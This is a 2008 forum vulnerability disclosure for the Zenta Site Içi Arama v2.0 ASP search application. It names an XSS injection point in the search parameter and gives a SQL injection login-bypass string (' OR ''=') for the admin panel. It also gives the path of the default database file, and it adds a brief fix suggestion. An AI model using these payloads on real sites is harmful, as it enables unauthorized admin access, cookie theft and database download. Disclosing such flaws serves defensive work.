Zenta v2.0 ~ Multiple Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Zenta v2.0 ~ Multiple Vuln.

Madde
	Author : Bug Researchers
	Date : 30.07.2008 22:53:47
	# Zenta v2.0 ~ Multiple Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Zenta Site Içi Arama v2.0 # Vulnerable Type : Cross Site Scripting - Login Bypass # Infection : Yönetici ve user cookieleri alinabilir. Admin giris paneli bypass edilebilir # Bug Fix Advice : Zararli karakterler ve /admin/default.asp deki sorgular filtrelenmelidir # author : Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > XSS : /default.asp?search=[XSS] Login bypass : /admin/default.asp k.adi : ’ OR ’’=’ sifre : ’ OR ’’=’ Default Database File : /db/database.mdb < -- bug code end of -- >